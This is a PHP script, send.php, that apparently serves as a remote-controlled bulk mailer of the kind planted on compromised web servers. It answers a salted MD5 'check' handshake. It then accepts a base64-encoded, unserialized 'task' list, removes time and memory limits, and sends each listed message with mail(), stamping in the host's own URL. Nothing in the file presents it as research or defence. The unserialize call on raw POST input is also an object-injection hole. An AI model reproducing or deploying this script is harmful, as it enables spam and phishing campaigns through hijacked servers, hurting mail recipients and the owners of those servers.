send.php

<?php

if (isset($_POST['check']))
    {
    echo md5($_POST['check'] . 'fd39sk2as');
    exit();
    }

if (isset($_POST['task']))
    {
    error_reporting(E_ALL);
    ini_set('display_errors', TRUE);
    ini_set('memory_limit', '512M');
    set_time_limit(0);
    ini_set('max_execution_time', 0);
    ini_set('set_time_limit', 0);
    $x = unserialize(base64_decode($_POST['task']));
    if ($x == false)
        {
        exit();
        }

    $send_from = base64_encode('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
    foreach($x as $arr)
        {
        echo $arr['to'] . "\r\n";
        $arr['msg'] = str_replace('[send_from_url]', $send_from, $arr['msg']);
        mail($arr['to'], $arr['subj'], $arr['msg'], $arr['head']);
        }

    exit('SEND OK');
    }?>